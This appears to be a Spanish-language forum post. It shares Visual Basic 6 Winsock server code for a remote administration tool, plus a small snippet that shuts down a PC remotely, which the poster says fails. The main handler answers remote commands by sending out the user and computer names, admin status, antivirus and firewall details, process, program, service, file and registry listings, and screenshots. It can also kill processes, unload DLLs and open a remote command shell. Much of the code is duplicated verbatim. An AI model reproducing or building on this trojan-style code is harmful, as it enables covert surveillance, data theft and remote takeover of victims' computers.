Code
Código:
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim sData As String
Dim sHead As String
Dim iFData As Integer
Dim iRData As Integer
Dim sMParam() As String
Dim sDParam() As String
DoEvents
wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10)
sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead
Case "[GETSINFO]"
wskServer.SendData "[SETSINFO]" & _
"Syntax" & sDetailSplit & _
Environ("username") & " @ " & Environ("computername") & sDetailSplit & _
IsNTAdmin(0&, 0&) & sDetailSplit & _
Environ("os") & sDetailSplit & _
GetCPUSpeedMHz & sDetailSplit & _
MemoryAvailable & sDetailSplit & _
GetCountryCode & sDetailSplit & _
".9"
Case "[GETDINFO]"
wskServer.SendData "[SETDINFO]" & _
Environ("username") & sDetailSplit & _
Environ("computername") & sDetailSplit & _
Environ("os") & sDetailSplit & _
CountryTag & sDetailSplit & _
Split(GetFWAV, "|")(1) & sDetailSplit & _
Split(GetFWAV, "|")(0) & sDetailSplit & _
App.Path & sDetailSplit & _
Environ("systemdrive") & sDetailSplit & _
Environ("systemroot") & "\" & sDetailSplit & _
GetProcessor & sDetailSplit & _
GetCPUModel & sDetailSplit & _
Split(MemoryAvailable, "|")(0) & sDetailSplit & _
Split(MemoryAvailable, "|")(1) & sDetailSplit & _
GetCamDrvs & sDetailSplit & _
Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
Case "[GETPRCLT]"
wskServer.SendData "[SETPRCLT]" & GetProcesses
Case "[GETPRGLT]"
wskServer.SendData "[SETPRGLT]" & GetInstalledApps
Case "[GETSRVLT]"
wskServer.SendData "[SETSRVLT]" & EnumerateServices
Case "[GETMODLT]"
wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
Case "[GETWNDLT]"
lstWindows = ""
Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
wskServer.SendData "[SETWNDLT]" & lstWindows
Case "[GETPRCKL]"
wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
Case "[GETMODKL]"
wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
Case "[GETPRCPR]"
wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETSRVST]"
wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
'Case "[GETSRVSU]"
' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETWNDOP]"
Select Case sMParam(0)
Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
End Select
wskServer.SendData "[SETWNDOP]" & sMParam(0)
Case "[GETFILES]"
sData = EnumFiles(sMParam(0))
If Len(sData) > 3072 Then
sFData = sData
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sData
End If
Case "[GETFILER]"
If Len(sFData) > 3072 Then
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
Sleep 100
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sFData
End If
Case "[GETREGES]"
sData = EnumKeysValues(sMParam(0), sMParam(1))
If Len(sData) > 3072 Then
sRData = sData
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sData
End If
Case "[GETREGER]"
If Len(sRData) > 3072 Then
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
Sleep 100
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sRData
End If
Case "[GETSCRST]"
sData = GetScreenshot(-1, picScreenShot)
MsgBox Len(sData)
iSData = 0
If Len(sData) > 3072 Then
sSData = sData
wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETSCRSR]"
If Len(sSData) > 3072 Then
iSData = iSData + 1
wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
MsgBox iSData
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETDRIVE]"
wskServer.SendData "[SETDRIVE]" & EnumDrives
Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
Case "[GETCOMND]"
Select Case sMParam(0)
Case 0
KillByPID DOS_PID
wskServer.SendData "[SETCOMND]" & 0
Case 1
ExecuteCommand Environ("comspec")
wskServer.SendData "[SETCOMND]" & 1
Case 2
WriteData sMParam(1)
End Select
End Select
End Sub
Dim sData As String
Dim sHead As String
Dim iFData As Integer
Dim iRData As Integer
Dim sMParam() As String
Dim sDParam() As String
DoEvents
wskServer.GetData sData
Debug.Print sData
sHead = Left(sData, 10)
sData = Right$(sData, Len(sData) - 10)
sMParam = Split(sData, sDetailSplit)
Select Case sHead
Case "[GETSINFO]"
wskServer.SendData "[SETSINFO]" & _
"Syntax" & sDetailSplit & _
Environ("username") & " @ " & Environ("computername") & sDetailSplit & _
IsNTAdmin(0&, 0&) & sDetailSplit & _
Environ("os") & sDetailSplit & _
GetCPUSpeedMHz & sDetailSplit & _
MemoryAvailable & sDetailSplit & _
GetCountryCode & sDetailSplit & _
".9"
Case "[GETDINFO]"
wskServer.SendData "[SETDINFO]" & _
Environ("username") & sDetailSplit & _
Environ("computername") & sDetailSplit & _
Environ("os") & sDetailSplit & _
CountryTag & sDetailSplit & _
Split(GetFWAV, "|")(1) & sDetailSplit & _
Split(GetFWAV, "|")(0) & sDetailSplit & _
App.Path & sDetailSplit & _
Environ("systemdrive") & sDetailSplit & _
Environ("systemroot") & "\" & sDetailSplit & _
GetProcessor & sDetailSplit & _
GetCPUModel & sDetailSplit & _
Split(MemoryAvailable, "|")(0) & sDetailSplit & _
Split(MemoryAvailable, "|")(1) & sDetailSplit & _
GetCamDrvs & sDetailSplit & _
Screen.Width / Screen.TwipsPerPixelX & " x " & Screen.Height / Screen.TwipsPerPixelY
Case "[GETPRCLT]"
wskServer.SendData "[SETPRCLT]" & GetProcesses
Case "[GETPRGLT]"
wskServer.SendData "[SETPRGLT]" & GetInstalledApps
Case "[GETSRVLT]"
wskServer.SendData "[SETSRVLT]" & EnumerateServices
Case "[GETMODLT]"
wskServer.SendData "[SETMODLT]" & GetModules(CLng(sMParam(0)))
Case "[GETWNDLT]"
lstWindows = ""
Call EnumWindows(AddressOf GetWindows, CLng(sMParam(0)))
wskServer.SendData "[SETWNDLT]" & lstWindows
Case "[GETPRCKL]"
wskServer.SendData "[SETPRCKL]" & KillByPID(CLng(sMParam(0)))
Case "[GETMODKL]"
wskServer.SendData "[SETMODKL]" & UnInjectDll(sMParam(0), CLng(sMParam(1)))
Case "[GETPRCPR]"
wskServer.SendData "[SETPRCPR]" & SetProcessPriority(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETSRVST]"
wskServer.SendData "[SETSRVST]" & ServiceControl(sMParam(0), CLng(sMParam(1)))
'Case "[GETSRVSU]"
' wskServer.SendData "[SETSRVSU]" & SetServiceStartup(CLng(sMParam(0)), GetPriority(sMParam(1)))
Case "[GETWNDOP]"
Select Case sMParam(0)
Case 0: sMParam(0) = SetWindow(CLng(sMParam(1)), 3)
Case 1: sMParam(0) = SetWindow(CLng(sMParam(1)), 6)
Case 2: sMParam(0) = SetWindow(CLng(sMParam(1)), 5)
Case 3: sMParam(0) = SetWindow(CLng(sMParam(1)), 0)
Case 4: sMParam(0) = CloseWindow(CLng(sMParam(1)))
Case 5: sMParam(0) = ChangeWindowText(CLng(sMParam(1)), sMParam(2))
End Select
wskServer.SendData "[SETWNDOP]" & sMParam(0)
Case "[GETFILES]"
sData = EnumFiles(sMParam(0))
If Len(sData) > 3072 Then
sFData = sData
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sData
End If
Case "[GETFILER]"
If Len(sFData) > 3072 Then
While Mid(sFData, 3072 + iFData, 1) <> sDetailSplit
iFData = iFData + 1
Wend
Sleep 100
wskServer.SendData "[SETFILES]" + Left(sFData, 3072 + iFData)
DoEvents
sFData = Mid(sFData, 3072 + iFData + 1, Len(sFData))
Else
wskServer.SendData "[SETFILER]" + sFData
End If
Case "[GETREGES]"
sData = EnumKeysValues(sMParam(0), sMParam(1))
If Len(sData) > 3072 Then
sRData = sData
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sRData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sData
End If
Case "[GETREGER]"
If Len(sRData) > 3072 Then
While Mid(sRData, 3072 + iRData, 1) <> sDetailSplit
iRData = iRData + 1
Wend
Sleep 100
wskServer.SendData "[SETREGES]" + Left(sRData, 3072 + iRData)
DoEvents
sFData = Mid(sRData, 3072 + iRData + 1, Len(sRData))
Else
wskServer.SendData "[SETREGER]" + sRData
End If
Case "[GETSCRST]"
sData = GetScreenshot(-1, picScreenShot)
MsgBox Len(sData)
iSData = 0
If Len(sData) > 3072 Then
sSData = sData
wskServer.SendData "[SETSCRST]" & Left(sData, 3072)
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETSCRSR]"
If Len(sSData) > 3072 Then
iSData = iSData + 1
wskServer.SendData "[SETSCRST]" & Mid(sSData, iSData * 3072, 3072)
MsgBox iSData
Else
wskServer.SendData "[SETSCRSR]" & sData
End If
Case "[GETDRIVE]"
wskServer.SendData "[SETDRIVE]" & EnumDrives
Case "[FILESIZE]": wskServer.SendData "[SETSTRSD]"
Case "[GETCOMND]"
Select Case sMParam(0)
Case 0
KillByPID DOS_PID
wskServer.SendData "[SETCOMND]" & 0
Case 1
ExecuteCommand Environ("comspec")
wskServer.SendData "[SETCOMND]" & 1
Case 2
WriteData sMParam(1)
End Select
End Select
End Sub
a la hora de poner un simple codigo que apague la pc seria En DataArrival
Código:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub
Dim datos As String
Winsock1.GetData datos
If datos = "apagar" Then
Shell "shutdown -s -t 0"
End If
End Sub
y para el cliente seria
Código:
Private Sub Command2_Click()
Winsock1.SendData "apagar"
End Sub
Winsock1.SendData "apagar"
End Sub
pero no puedo hacer que funcione



